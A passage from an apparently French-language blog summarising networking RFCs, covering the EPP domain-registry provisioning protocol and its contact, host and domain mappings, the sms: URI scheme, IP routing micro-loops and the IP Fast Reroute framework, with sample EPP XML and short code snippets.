mais peut-être moins. Pour de la programmation sérieuse, il faut donc
le réécrire avec une fonction du genre :
def safe_recv(s, n): data = '' while (n > 0): tmp = s.recv(n) data += tmp n -= len(tmp) return data
(Merci à Kim-Minh Kaplan pour son aide sur ce point.)
Pour Perl, ce code ressemblerait (merci à
Vincent Levigneron), pour envoyer un élément EPP stocké dans la variable $out
, à :
print pack('N', length($out) + 4).$out;
et pour lire un élément EPP :
my $length = unpack "N", $buf; ... $rc = read STDIN, $buf, $length;
Puisque le format N
désigne un entier non signé
gros boutien (cf. http://perldoc.perl.org/functions/pack.html
).
À noter que cette lecture du champ longueur présente un risque de sécurité : si le serveur malloque aveuglément la taille indiquée dans ce champ, comme il fait quatre octets, le serveur naïf risque de consommer quatre giga-octets de mémoire.
La section 8, consacrée à la sécurité, et surtout la nouvelle section 9, consacrée à TLS, détaillent le processus d'authentification du client et du serveur. L'utilisation de TLS (RFC 5246) est obligatoire, ne serait-ce que pour protéger les mots de passe qui circulent en clair dans les éléments EPP. TLS permet également au client d'authentifier le serveur et au serveur d'authentifier le client, par la présentation de certificats X.509. Leur présentation et leur usage sont désormais obligatoires dans EPP. Notons que, comme toujours avec X.509, la difficulté est de déterminer ce qu'on vérifie. La section 9 détaille le cas où on vérifie un nom et celui où on vérifie une adresse IP. Il serait intéressant de savoir quels registres et quels bureaux d'enregistrement effectuent réellement ces validations...
La liste des changements par rapport au RFC 4934 se trouve dans l'annexe A. Le principal changement consiste en une meilleure spécification des règles de vérification du certificat X.509 lorsque TLS est utilisé (cf. la nouvelle section 9).
Date de publication du RFC : Août 2009
Auteur(s) du RFC : S. Hollenbeck (Verisign)
Chemin des normes
Première rédaction de cet article le 14 octobre 2009
Le protocole d'avitaillement EPP ne spécifie pas comment représenter les objets qu'on crée, détruit, modifie, etc. Cette tâche est déléguée à des RFC auxiliaires comme le nôtre, consacré aux contacts, c'est-à-dire aux personnes physiques ou morales responsables d'un objet de la base et qui peuvent être contactées à son sujet. (L'objet étant typiquement un nom de domaine ou bien un préfixe IP.)
EPP permet à un client de créer, détruire et modifier des objets de types différents. En pratique, EPP n'est utilisé que dans l'industrie des noms de domaine mais, en théorie, il pourrait être utilisé pour n'importe quel type d'objets.
Le type n'est donc pas spécifié dans le protocole EPP de base, normalisé dans le RFC 5730, mais dans des RFC supplémentaires. Par exemple, celui qui fait l'objet de cet article spécifie le type, la classe (EPP dit le mapping) pour les contacts. Il remplace le RFC 4933, avec très peu de changement, et marque l'arrivée de cette norme au statut de « norme complète », la dernière étape du chemin des normes de l'IETF.
Ce type est spécifié (section 4 du RFC) dans le langage W3C XML Schema.
Un contact est donc composé d'un
identificateur (type
clIDType
du RFC 5730). Cet
identificateur (on l'appelait traditionnellement le
handle) est, par exemple,
SB68-GANDI
(section 2.1).
Les contacts ont également un statut (section 2.2) qui est toujours mis par le client EPP, typiquement le bureau d'enregistrement. Ce mapping ne permet pas aux contacts d'être maîtres de leur propre information et de la changer directement (ce qui est cohérent avec l'approche d'EPP où un intermédiaire, le bureau d'enregistrement, a l'exclusivité des changements).
Les contacts ont aussi évidemment des moyens d'être contactés, via
numéro de téléphone, adresse postale, etc. Par exemple, l'adresse de
courrier du
contact est spécifiée en section 2.6. La syntaxe formelle est celle du
RFC 5322, par exemple
joe.o'reilly+verisign@example.com
. (Mais le
schéma XML a une syntaxe plus bien laxiste, presque tout est accepté.)
Les contacts pouvant être des personnes physiques, pour protéger
leur vie privée, la section 2.9 du RFC décrit aussi un format pour
spécifier si ces informations doivent être publiées ou
pas. Insuffisant pour tous les cas, ce format est en général remplacé,
chez les registres européens, par un mapping
spécifique (par exemple, EPP
parameters for .pl ccTLD pour les polonais qui
utilisent un élément <individual>
pour
indiquer si le contact est une personne physique, et a donc droit à la
protection des lois européennes sur les données personnelles).
La section 3 normalise ensuite l'usage des commandes standards
d'EPP (comme <create>
) pour les objets de
notre classe « contact ».
À titre d'exemple, voici la réponse d'un serveur EPP à une requête
<epp:info>
(section 3.1.2) pour le contact
SB68-GANDI
:
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <epp xmlns="urn:ietf:params:xml:ns:epp-1.0"> <response> <result code="1000"> <msg>Command completed successfully</msg> </result> <resData> <contact:infData xmlns:contact="urn:ietf:params:xml:ns:contact-1.0"> <contact:id>SB68-GANDI</contact:id> <contact:roid>SH8013-REP</contact:roid> <contact:status s="clientDeleteProhibited"/> <contact:postalInfo type="int"> <contact:name>John Doe</contact:name> <contact:org>Exemple SA</contact:org> <contact:addr> <contact:street>123 rue de l'Exemple</contact:street> <contact:city>Trifouillis-les-Oies</contact:city> <contact:cc>FR</contact:cc> </contact:addr> </contact:postalInfo> <contact:voice x="1234">+33.7035555555</contact:voice> <contact:fax>+33.7035555556</contact:fax> <contact:email>jdoe@example.com</contact:email> <contact:crDate>1997-04-03T22:00:00.0Z</contact:crDate> <contact:upDate>1999-12-03T09:00:00.0Z</contact:upDate> <contact:trDate>2000-04-08T09:00:00.0Z</contact:trDate> <contact:authInfo> <contact:pw>2fooBAR</contact:pw> </contact:authInfo> <contact:disclose flag="0"> <contact:voice/> <contact:email/> </contact:disclose> </contact:infData> </resData> </response> </epp>
L'espace de noms XML pour les contacts est
urn:ietf:params:xml:ns:contact-1.0
.
Comme rappelé par la section 5, EPP utilise XML dont le modèle de caractères est Unicode depuis le début. Logiquement, on devrait donc pouvoir enregistrer des noms et prénoms comportant des accents (comme « Stéphane ») mais je ne suis pas sûr que cela marche avec tous les registres : c'est une chose de transporter la chaîne de caractères Unicode jusqu'au registre et une autre de la stocker dans la base et de la ressortir proprement.
La
classe « Contact » permet de représenter certains éléments (comme
l'adresse postale) sous deux formes, une en Unicode complet (en
indiquant type="loc"
et l'autre sous une version
restreinte à l'ASCII (en indiquant
type="int"
, notez que ces labels doivent être lus
à l'envers, la forme restreinte en labelisée int
pour « internationale » et la forme complète loc
pour « locale » alors que le contraire aurait été plus logique.)
Ce RFC remplace son prédécesseur, le RFC 4933 mais ce ne sont que des modifications légères, détaillées dans l'annexe A.
Date de publication du RFC : Août 2009
Auteur(s) du RFC : S. Hollenbeck (Verisign)
Chemin des normes
Première rédaction de cet article le 13 octobre 2009
La représentation des serveurs de noms (host, dans ce contexte) dans un registre de noms de domaine a toujours été une source de confusion et de désaccords. Le protocole EPP d'avitaillement (provisioning) d'un registre a tranché arbitrairement et décidé que la bonne méthode était d'avoir des objets « serveur de noms » (host) explicitement mis dans le registre. C'est ce que normalise notre RFC, successeur du RFC 4932, qui lui-même succédait au RFC 3732.
Un registre de noms de domaine stocke en
effet au moins deux classes d'objets : les domaines, bien sûr, et les contacts, les entités
(personnes physiques ou organisations) qui gèrent les domaines. Mais
cela laisse ouverte la question des serveurs de noms. Pour pouvoir
déléguer un domaine, le registre a besoin de ces serveurs, qui se
retrouveront en partie droite des enregistrements de type
NS, comme ici, dans le registre de .org
:
example.org. IN NS ns1.example.org. IN NS galadriel.lothlorien.net.
Comme souvent lors de l'élaboration d'un schéma de données, on peut se poser la question : objet ou attribut ? Les serveurs de noms doivent-ils être des objets « de première classe », gérés en tant que tels, accessibles via whois ou bien doivent-ils être de simples attributs des objets de la classe domaine ?
Les deux approches sont
possibles. .com
utilise la première. Un serveur de noms est
un objet de première classe, vous pouvez le voir avec whois :
% whois ns.kimsufi.com ... Server Name: NS.KIMSUFI.COM IP Address: 213.186.33.199 Registrar: OVH
D'autres registres ont choisi de faire des serveurs de noms de simples attributs. Quelle approche fallait-il retenir pour le protocole d'avitaillement EPP, normalisé dans le RFC 5730 ? Celui-ci sépare le protocole proprement dit de la définition des classes d'objets (classes nommées, dans EPP, mappings. Il existe une classe (un mapping) pour les domaines (RFC 5731), une pour les contacts (RFC 5733) et notre RFC 5732 pour les serveurs de noms. Toutes sont optionnelles. Un registre n'est pas obligé de mettre en œuvre tous ces mappings et peut donc, s'il ne gère pas les objets hosts, ignorer le RFC 5732.
Si un registre choisit, par contre, de gérer des objets « serveur
de noms » comme dans ce RFC, la section 1
décrit les relations entre ces objets et les domaines. Ainsi, tout
serveur de noms est subordonné à un domaine (le parent) :
ns1.example.org
est subordonné à
example.org
et la relation doit être conservée
par EPP (par exemple, l'objet host ne peut être
créé que par le client EPP qui gère l'objet domaine parent). À noter
que le parent peut être externe au registre (par exemple
galadriel.lothlorien.net
pour le registre de
.org
).
La section 2 de ce RFC énumère ensuite les attributs de l'objet
« serveur de noms ». Le serveur a un nom (par
exemple ns2.example.net
), conforme aux règles
syntaxiques du RFC 1123. Comme tous les objets
manipulés avec EPP, il a un identificateur unique spécifique à EPP, le
client identifier (voir le RFC 5730). Il a
aussi un état (status), qui peut être une combinaison par
exemple ok
combiné avec
linked
(qui indique qu'il est utilisé dans au
moins un domaine).
Il a enfin une adresse IP facultative. Le RFC recommande de ne la stocker que si elle est nécessaire pour publier la colle, les enregistrements qui permettent de trouver l'adresse IP d'un serveur de noms qui sert la zone dont il fait lui-même partie par exemple dans :
example.org. IN NS ns1.example.org. IN NS galadriel.lothlorien.net.
Ici, ns1.example.org
est dans la zone qu'il sert
(example.org
), il faut donc transmettre au
registre son adresse IP, pour qu'il puisse publier la colle :
ns1.example.org. IN AAAA 2001:db8:314::1:53
alors que cela n'est pas nécessaire pour
galadriel.lothlorien.net
. Les RFC 2874 et RFC 3596 contiennent des détails sur cette
question. La section 3.2.1 de notre RFC, sur la commande
<create>
revient également sur ce point en
insistant que cette commande n'impose pas de transmettre des adresses
IP, bien au contraire.
Le cœur d'EPP est décrit dans le RFC 5730, qui
inclus une description des commandes possibles (comme
<create>
ou <delete>
). Toutes ne s'appliquent
pas à tous les objets et chaque norme d'un mapping
doit donc décrire quelles commandes ont un sens pour lui. C'est ici
l'objet de la section 3. Par exemple (section 3.1.3), le passage d'un
registrar à un autre
(transfer
) n'a pas de sens pour un objet
« serveur de noms » et n'est donc pas défini. L'espace de noms XML
du host mapping, de notre classe « serveur de
noms » est urn:ietf:params:xml:ns:host-1.0
(voir
section 6).
Les commandes
<check>
et
<info>
ont leur sens habituel (section
3.1), celui de récupérer des informations sur un objet, ici en donnant
son nom. Voici l'exemple donné par le RFC pour la réponse à une
commande <info>
pour le serveur ns1.example.com
:
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <epp xmlns="urn:ietf:params:xml:ns:epp-1.0"> <response> <result code="1000"> <msg>Command completed successfully</msg> </result> <resData> <host:infData xmlns:host="urn:ietf:params:xml:ns:host-1.0"> <host:name>ns1.example.com</host:name> <host:roid>NS1_EXAMPLE1-REP</host:roid> <host:status s="linked"/> <host:status s="clientUpdateProhibited"/> <host:addr ip="v4">192.0.2.2</host:addr> <host:addr ip="v4">192.0.2.29</host:addr> <host:addr ip="v6">1080:0:0:0:8:800:200C:417A</host:addr> <host:clID>ClientY</host:clID> <host:crID>ClientX</host:crID> <host:crDate>1999-04-03T22:00:00.0Z</host:crDate> <host:upID>ClientX</host:upID> <host:upDate>1999-12-03T09:00:00.0Z</host:upDate> <host:trDate>2000-04-08T09:00:00.0Z</host:trDate> </host:infData> </resData> <trID> <clTRID>ABC-12345</clTRID> <svTRID>54322-XYZ</svTRID> </trID> </response> </epp>
Les informations spécifiques à notre classe sont dans l'espace de noms
urn:ietf:params:xml:ns:host-1.0
dont le préfixe
est ici host
.
La syntaxe formelle complète de cette classe figure dans la section 4, sous la forme d'un schéma W3C.
L'annexe A rassemble les changements depuis le RFC 4932. Les changements, à part la mise à jour des RFC cités en référence, consistent surtout en une nouvelle licence pour le schéma XML et une précision sur le code de retour 2201 (permission refusée).
Date de publication du RFC : Août 2009
Auteur(s) du RFC : S. Hollenbeck (Verisign)
Chemin des normes
Première rédaction de cet article le 14 décembre 2009
Le protocole d'avitaillement EPP ne spécifie pas comment représenter les objets qu'on crée, détruit, modifie, etc. Cette tâche est déléguée à des RFC auxiliaires comme le nôtre, consacré aux noms de domaine.
EPP permet à un client de créer, détruire et modifier des objets de types différents. En pratique, EPP n'est utilisé que dans l'industrie des noms de domaine mais, en théorie, il pourrait être utilisé pour n'importe quel type d'objets.
Le type n'est donc pas spécifié dans le protocole EPP de base, normalisé dans le RFC 5730, mais dans des RFC supplémentaires. Par exemple, celui qui fait l'objet de cet article spécifie le type (EPP dit le mapping, on pourrait aussi l'appeler une classe) pour les noms de domaine.
Ce type est spécifié (section 4 du RFC) dans le langage W3C XML Schema.
On note que ce schéma, se voulant adaptable à de nombreux
registres différents, ne colle parfaitement à
la politique d'aucun. Par exemple,
<infData>
est spécifié ainsi :
<sequence> <element name="registrant" type="eppcom:clIDType" minOccurs="0"/> <element name="contact" type="domain:contactType" minOccurs="0" maxOccurs="unbounded"/> <element name="ns" type="domain:nsType" minOccurs="0"/>
ce qui veut dire que des « règles métier » très courantes comme « un titulaire et un seul » ou bien « au moins deux serveurs de noms » ne sont pas respectés avec le schéma EPP seul.
Ce RFC remplace son prédécesseur, le RFC 4931 mais ce ne sont que des modifications de détail, résumées en annexe A. Elles vont en général dans le sens d'une plus grande latitude laissée aux implémenteurs.
Voici un exemple d'une réponse à une requête
<epp:info>
(section 3.1.2) pour le domaine
example.com
(comme avec whois
mais, typiquement, non public) :
<response> <result code="1000"> <msg>Command completed successfully</msg> </result> <resData> <domain:infData xmlns:domain="urn:ietf:params:xml:ns:domain-1.0"> <domain:name>example.com</domain:name> <domain:roid>EXAMPLE1-REP</domain:roid> <domain:status s="ok"/> <domain:registrant>jd1234</domain:registrant> <domain:contact type="admin">sh8013</domain:contact> <domain:contact type="tech">sh8013</domain:contact> <domain:ns> <domain:hostObj>ns1.example.com</domain:hostObj> <domain:hostObj>ns1.example.net</domain:hostObj> </domain:ns> <domain:host>ns1.example.com</domain:host> <domain:host>ns2.example.com</domain:host> <domain:clID>ClientX</domain:clID> <domain:crID>ClientY</domain:crID> <domain:crDate>1999-04-03T22:00:00.0Z</domain:crDate> <domain:upID>ClientX</domain:upID> <domain:upDate>1999-12-03T09:00:00.0Z</domain:upDate> <domain:exDate>2005-04-03T22:00:00.0Z</domain:exDate> <domain:trDate>2000-04-08T09:00:00.0Z</domain:trDate> <domain:authInfo> <domain:pw>2fooBAR</domain:pw> </domain:authInfo> </domain:infData> </resData> ...
On y voit les serveurs de noms du domaine,
ns1.example.com
et
ns1.example.net
, son titulaire, identifié par un
code, ici
jd1234
, sa date de création, le 3 avril 1999, etc.
De même, pour créer un domaine, on appele
<epp:create>
(section 3.2.1) avec des éléments de l'espace
de nom urn:ietf:params:xml:ns:domain-1.0
, par
exemple :
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0"> <command> <create> <domain:create xmlns:domain="urn:ietf:params:xml:ns:domain-1.0"> <domain:name>example.com</domain:name> <domain:period unit="y">2</domain:period> <domain:ns> <domain:hostObj>ns1.example.com</domain:hostObj> <domain:hostObj>ns1.example.net</domain:hostObj> </domain:ns> <domain:registrant>jd1234</domain:registrant> ...
La liste complète des commandes EPP utilisables pour ce type « domaine » figure dans la section 3.
La syntaxe utilisable pour un nom de domaine est celle du RFC 1123, bien plus restrictive que celle utilisée dans le DNS (section 2.1). Ce type « domaine » ne peut donc pas être utilisé pour tout nom de domaine légal.
Chaque domaine a un « statut », ceux mis par le client (typiquement
un registrar) étant préfixés
par client
(section 2.3). Par exemple,
clientHold
indique que, à la demande du
registrar, ce nom, quoique enregistré, ne doit pas
être publié dans le DNS.
Date de publication du RFC : Août 2009
Auteur(s) du RFC : S. Hollenbeck (Verisign)
Chemin des normes
Première rédaction de cet article le 23 novembre 2009
Les registres, par exemple les registres de noms de domaine fonctionnent parfois sur un modèle registry/registrar c'est-à-dire où le client final doit passer par un intermédiaire, le bureau d'enregistrement (registrar) pour enregistrer son nom de domaine. Le registrar souhaite en général avoir un protocole de communication avec le registre afin d'automatiser ses opérations, dans son langage de programmation favori. EPP, décrit dans ce RFC, est un de ces protocoles d'avitaillement (provisioning, et merci à Olivier Perret pour la traduction). (EPP n'emploie pas le terme de registrar mais celui de sponsoring client, plus neutre. EPP peut donc en théorie être utilisé en cas de vente directe.)
Notre RFC remplace le second RFC sur EPP, le RFC 4930, mais les changements sont mineurs (cf. annexe C, le principal étant que le RFC rend plus clair le fait que la liste des codes de retour est limitative : un registre ne peut pas créer les siens, ce qui est une des plus grosses limitations de EPP). EPP est désormais une norme complète (Full Standard).
EPP a été réalisé sur la base du cahier des charges dans le RFC 3375. Au lieu de s'appuyer sur les protocoles classiques de communication comme XML-RPC ou SOAP, ou même sur l'architecture REST, EPP crée un protocole tout nouveau, consistant en l'établissement d'une connexion (authentifiée) puis sur l'échange d'éléments XML, spécifiés dans le langage W3C Schemas.
Par exemple, l'ouverture de la connexion se fait en envoyant
l'élément XML <login>
(section 2.9.1.1) :
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <epp xmlns="urn:ietf:params:xml:ns:epp-1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:ietf:params:xml:ns:epp-1.0 epp-1.0.xsd"> <command> <login> <clID>ClientX</clID> <pw>foo-BAR2</pw> <newPW>bar-FOO2</newPW> <options> <version>1.0</version> <lang>fr-CA</lang> </options> <svcs> <objURI>urn:ietf:params:xml:ns:obj1</objURI> <objURI>urn:ietf:params:xml:ns:obj2</objURI> <objURI>urn:ietf:params:xml:ns:obj3</objURI> </svcs> </login> <clTRID>ABC-12345</clTRID> </command> </epp>
Les espaces de noms utilisés, comme
urn:ietf:params:xml:ns:epp-1.0
sont enregistrés
dans le registre IANA (cf. section 6).
Le <clTRID>
est un identifiant de
transaction (celui-ci est choisi par le client) et il facilite la traçabilité des opérations EPP.
L'exécution de ces éléments doit être atomique
(section 2 du RFC).
Chaque commande EPP entraîne une réponse (section 2.6) qui inclus notamment un code numérique à quatre chiffres (section 3) résumant si la commande a été un succès ou un échec (reprenant le schéma expliqué dans la section 4.2.1 du RFC 5321). Le premier chiffre indique le succès (1) ou l'échec (2) et le second la catégorie (syntaxe, sécurité, etc). Par exemple 1000 est un succès complet, 1001 un succès mais où l'action n'a pas encore été complètement effectuée (par exemple parce qu'une validation asynchrone est nécessaire), 2003, une erreur syntaxique due à l'absence d'un paramètre obligatoire, 2104 une erreur liée à la facturation (crédit expiré, par exemple), 2302, l'objet qu'on essaie de créer existe déjà, etc.
EPP est donc typiquement un protocole synchrone. Toutefois, il
dispose également d'un mécanisme de notification asynchrone. La
commande EPP <poll>
(section 2.9.2.3) permet d'accéder à des
messages qui avaient été mis en attente pour un client, et lui
donnaient l'état des traitements asynchrones.
Le RFC 5730 spécifie une dizaine de commandes EPP comme
<check>
, qui permet de s'assurer qu'un
objet peut être créé, <info>
, qui permet
d'accéder aux informations disponibles à propos d'un objet existant
(comme whois sauf que whois est typiquement
public et EPP typiquement réservé aux bureaux d'enregistrement),
<create>
pour créer de nouveaux objets (par
exemple réserver un nom de domaine), etc.
Comme tout objet géré par
EPP a un « sponsoring client », l'entité qui le
gère (dans le cas d'un registre de noms de domaine, il s'agit
typiquement du bureau d'enregistrement), EPP fournit une commande pour
changer ce client, <transfer>
(section
2.9.3.4). Des options de cette commande permettent d'initier le
transfert, d'annuler une demande en cours, de l'approuver
explicitement (pour le client sortant), etc.
La syntaxe formelle des éléments XML possibles est décrite dans la section 4, en utilisant le langage W3C schema.
Le transport de ces éléments XML sur le réseau peut se faire avec différents protocoles, s'ils respectent les caractéristiques listées en section 2.1. Par exemple, le RFC 5734 normalise EPP reposant directement sur TCP.
Un des points délicats de la conception d'un tel protocole est que
chaque registre a sa propre politique d'enregistrement et ses propres
règles. Quoi que dise ou fasse l'ICANN, cette
variété va persister. Par exemple, l'expiration automatique d'un
domaine existe dans .com
mais pas dans .eu
ou
.fr
. Le protocole EPP ne
prévoit donc pas d'éléments pour gérer telle ou telle catégorie
d'objets (les domaines mais aussi les serveurs de noms ou les
contacts). Il doit être complété par des mappings,
des schémas définissant une classe d'objets. Certains de ces
mappings sont spécifiés pas
l'IETF comme le domain
mapping (gestion des domaines) dans le RFC 5731. L'annexe A fournit un exemple de
mapping. Plusieurs registres utilisent des
mappings non-standard, pour s'adapter à leurs
propres règles d'enregistrement, ce qui limite la portabilité des
programmes EPP (le cadre d'extension de EPP fait l'objet de la section
2.7). C'est ce qu'ont fait les
français, les
brésiliens ou les
polonais.
Dans tous les cas, chaque objet manipulé avec EPP reçoit un
identificateur unique (par exemple
SB68-EXAMPLEREP
),
dont les caractéristiques sont normalisées dans
la section 2.8. Les dépôts possibles sont enregistrés dans un registre IANA.
Complexe, EPP n'a pas été reçu avec enthousiasme chez les registres existants,
sauf ceux qui refaisaient complètement leur logiciel comme
.be
. On notera que certains gros TLD comme .de
n'utilisent pas
EPP (Denic utilise son
protocole MRI/RRI). Il existe d'autres protocoles d'avitaillement
comme :
et beaucoup d'autres qui ne semblent pas forcément documentés publiquement.
Il existe plusieurs mises en œuvres d'EPP en
logiciel libre par exemple le serveur EPP OpenReg de
l'ISC, le logiciel Fred du registre de .cz
ou
bien le client EPP Net::DRI de
Patrick Mevzek. Si vous voulez expérimenter avec EPP, vous devez
installer votre propre serveur, il n'existe pas de serveur public pour
tester.
Date de publication du RFC : Janvier 2010
Auteur(s) du RFC : E. Wilde (UC Berkeley), A. Vaha-Sipila (Nokia)
Chemin des normes
Première rédaction de cet article le 9 mars 2010
Il existe des plans d'URI pour tout. Alors, pourquoi pas pour les SMS ? C'est ce que prévoit notre RFC qui ajoute la possibilité d'avoir des liens hypertexte dont la sélection déclenche l'envoi d'un SMS...
D'abord, avec la section 1 du RFC, révisons : le réseau GSM est un réseau de téléphonie mobile très répandu dans certaines parties du monde (en Europe, par exemple), et fonctionnant sur des fréquences comme 900 Mhz, 1800 Mhz, etc. SMS est un service des réseaux GSM qui permet d'envoyer de courts messages texte. Son succès social a été tel que des réseaux non-GSM comme le RNIS l'ont également adopté, et un service de microblogging comme Identi.ca a emprunté bien des points au SMS, comme la longueur maximale d'un message.
Le SMS a en effet une taille maximale, fixée selon des critères un peu complexes (section 1.2.1 du RFC). La norme dit « 160 caractères » mais, limités à sept bits, ce ne sont pas des caractères Unicode. La vraie limite est en fait de 140 octets. Il existe diverses méthodes (typiquement non-standards) pour stocker dans ces 140 octets de l'UTF-16 ou bien des choses rigolotes comme les émoticons.
La délivrance des SMS se fait via un, et parfois plusieurs, serveur, le SMSC (Short Message Service Center).
La section 1.2.4 explique ensuite l'intérêt de spécifier un
plan sms
pour le
Web. Ce dernier est aujourd'hui l'interface
principale d'accès à l'information, notamment grâce à l'invention des
URI. Parmi les URI, mailto:
(RFC 6068)
est devenu très populaire, en permettant d'envoyer un message
« depuis » une page Web. L'idée est donc de faire pour les SMS ce que
mailto:
a permis pour le
courrier. (Il existe aussi un
tel:
pour le téléphone, cf. RFC 3966.)
Le RFC note toutefois que, si la plupart des navigateurs permettent d'associer un programme externe à un contenu de type MIME inconnu (sans toucher au code source du navigateur), cette possibilité n'existe en général pas pour les plans d'URI inconnus. Ceux-ci nécessitent en général de modifier le navigateur, ou bien d'utiliser ses fonctions d'accueil de greffons (c'est le cas de Firefox).
Bref, venons en maintenant à la vraie normalisation ; la section 2
définit ce nouveau plan sms
. Il s'appuie sur le
RFC 3966 pour la syntaxe des numéros de téléphone (en
incluant l'erratum 203). La
syntaxe formelle des nouveaux URI figure en section 2.2. Un exemple simple
est sms:+15105550101
. Un exemple plus complexe
est sms:+15105550101?body=hello%20there
(d'autres exemples figurent en section
2.5). Ce second exemple illustre l'utilisation de champs (ici, un seul
champ, body
, qui indique le contenu du message)
permettant d'étendre l'URI. Pour que l'ajout de champs ultérieurs soit
possible, le RFC impose que les champs inconnus soient ignorés.
Pendant qu'on parle du champ body
, la section
2.2 précise également son encodage : de
l'UTF-8 avec le surencodage
pour-cent, comme l'illustre le
%20
ci-dessus.
Un RFC décrivant un plan d'URI n'est pas complet sans le formulaire
d'enregistrement formel (RFC 4395, section 5.4),
qui figure en section 3. sms:
est donc désormais
dans le registre IANA.
Et naturellement, le RFC se conclus par la section sur la sécurité (section 4), qui rappelle notamment que, l'envoi d'un SMS étant souvent payant pour l'abonné, le navigateur ne doit pas déclencher cet envoi sur un simple clic, il doit demander confirmation ! D'autre part, cette section attire l'attention des utilisateurs sur le fait que le SMS ne présente aucune confidentialité et aucun mécanisme d'authentification, contrairement au courrier électronique.
Date de publication du RFC : Janvier 2010
Auteur(s) du RFC : M. Shand, S. Bryant
Pour information
Réalisé dans le cadre du groupe de travail IETF rtgwg
Première rédaction de cet article le 19 janvier 2010
Le groupe de travail rtgwg de l'IETF travaille entre autre à définir des protocoles et des méthodes pour éliminer les micro-boucles lors d'un changement des routes dans un réseau IP. Une micro-boucle est la boucle temporaire qui se forme entre deux (parfois davantage) routeurs lorsqu'ils n'ont pas mis à jour leur table de routage pile en même temps. Pendant quelques secondes, le routeur A envoie les paquets à B, qui les envoie à A, qui les envoie à B... Notre RFC 5715 explique le problème, ses causes et ses effets, et expose les solutions existantes.
La section 1 rappelle le fonctionnement du routage IP. Les routeurs n'ont pas une vue commune du réseau. Lorsque celui-ci change, que ce soit suite à une « mauvaise nouvelle » (la rupture d'un câble) ou suite à une « bonne nouvelle » (l'ajout d'un nouveau lien), il faut un temps fini pour propager l'information à tous les routeurs et pour que ceux-ci mettent à jour leur FIB. Pendant ce temps de convergence, les routeurs ne fonctionnent pas sur une vision commune et les micro-boucles apparaissent. Les paquets vont alors tourner en rond, consommant de la capacité du réseau, avant d'être jetés lorsque leur TTL (Hop Count en IPv6) est terminé.
Ces micro-boucles sont-elles graves ? En général, les protocoles situés au dessus corrigent automatiquement. Mais de nouveaux services Internet pourraient être plus sensibles et souhaiteraient une transition sans douleur, sans délai et sans perte de paquets.
Cet idéal est évidemment utopique mais il existe quand même des méthodes pour améliorer les choses comme celles du RFC 4090 pour MPLS ou du RFC 5714 pour IP.
Parmi les voies possibles pour traiter le problème des micro-boucles, il y a des techniques de convergence suffisamment rapides pour que le problème soit minimal, ou bien des topologies du réseau qui rendent les micro-boucles rares ou impossibles.
La section 2 est consacrée à étudier plus en détail ce qu'est une micro-boucle et dans quelles conditions elles se forment. La micro-boucle est un phénomène temporaire, inévitable dans un paradigme de routage « saut après saut » qui est celui d'IP (chaque routeur ne se préoccupe que du saut suivant). Elle est « micro » par sa durée et par le petit nombre de routeurs en jeu (souvent seulement deux). La création d'une boucle nécessite au moins une des conditions suivantes :
Les micro-boucles ont deux conséquences :
Que peut-on faire contre les micro-boucles ? C'est un travail pour la section 4 et des suivantes. Il existe plusieurs stratégies, limiter les dégâts, empêcher les boucles de se former, les supprimer quand elles apparaissent ou bien minimiser le risque d'occurrence (par exemple par des réseaux avec davantage de maillage). Elles sont détaillées dans les sections suivantes. D'abord, la section 5 explique comment limiter les dégâts, soit en accélérant la convergence du réseau, soit avec la méthode PLSN (Path Locking with Safe Neighbors), non encore décrite dans un RFC (mais résumée en section 7), qui consiste à tenir compte de l'état du réseau avant et après le changement avant de choisir d'envoyer dorénavant du trafic à un voisin. La simulation montre que cette méthode est efficace mais elle ne fait que limiter les micro-boucles, pas les empêcher.
Et la prévention ? La section 6 est là pour ça. Elle ne liste pas moins de huit méthodes pouvant empêcher les micro-boucles de se former. Mais toutes ne sont pas réalistes. Parmi elles :
Et la suppression des boucles, une fois qu'elles sont formées ? Pour détecter la micro-boucle, La section 8 examine deux possibilités, une forme de mémoire des paquets déjà vus, dans le routeur (très consommatrice en ressources) et une méthode plus simple : détecter une boucle au fait qu'un paquet entre par l'interface où on le ferait sortir (mais cela ne marche que pour les boucles simples, symétriques).
Quel que soit le mécanisme adopté, il va falloir le déployer dans l'Internet existant et la section 9 rappelle donc l'importance de la compatibilité avec cet existant.
Enfin, une comparaison des différentes méthodes occupe la section 10. Plusieurs méthodes semblent réalistes pour les protocoles futurs.
Date de publication du RFC : Janvier 2010
Auteur(s) du RFC : M. Shand, S. Bryant (Cisco)
Pour information
Réalisé dans le cadre du groupe de travail IETF rtgwg
Première rédaction de cet article le 19 janvier 2010
IP a une propriété très utile : la route entre deux points n'est pas fixée à l'avance et peut être modifiée même en cours de conversation. Cela permet aux réseaux IP de continuer à fonctionner même lorsque des coupures surviennent, s'il existe un chemin alternatif. Par contre, trouver ce chemin alternatif et l'utiliser prend du temps et ce délai peut être fatal à certaines applications plus ou moins temps-réel. D'où la nécessité de développer une méthodologie et des mécanismes pour un reroutage rapide. Ce RFC 5714 est consacré à décrire le cadre général de ce reroutage rapide.
De tels mécanismes existent déjà pour certains protocoles de couche 2, comme SONET, ou de couche « 2,5 » comme MPLS. Mais le but du travail sur le reroutage rapide IP est d'avoir une solution générale pour tous les réseaux IP.
Donc, après une section 1 de terminologie, commençons par décrire le problème (section 2). Lorsqu'un lien physique tombe en panne, même si des liens alternatifs sont disponibles, il s'écoule une période non nulle pendant laquelle les paquets ne peuvent plus être transmis. Ces paquets sont alors souvent jetés par les routeurs. Traditionnellement, dans un réseau IP, les durées de ces périodes atteignaient facilement plusieurs secondes. Pour certains applications (par exemple SMTP) ce n'est pas un problème. Mais certains services récents ont davantage de mal à tolérer ces courtes coupures. Calculer de nouvelles routes, dans un environnement distribué comme l'Internet, ne peut pas être « temps-réel ». Mais il existe une autre solution : calculer à l'avance les routes de secours ce qui permettrait de remplacer la route passant par le lien en panne en un temps bien plus court. C'est l'approche utilisée par le mécanisme Fast Reroute de MPLS (RFC 4090) et le but du projet IP Fast Reroute est de spécifier des mécanismes analogues dans un environnement purement IP.
Ces mécanismes sont loin d'être complètement définis, notre RFC 5714 se contenant de définir un cadre général pour leur élaboration. D'autre part, le projet se limite pour l'instant aux IGP à état des liaisons (section 3), une extension aux autres IGP ou bien aux protocoles de routage externes comme BGP étant possible dans le futur.
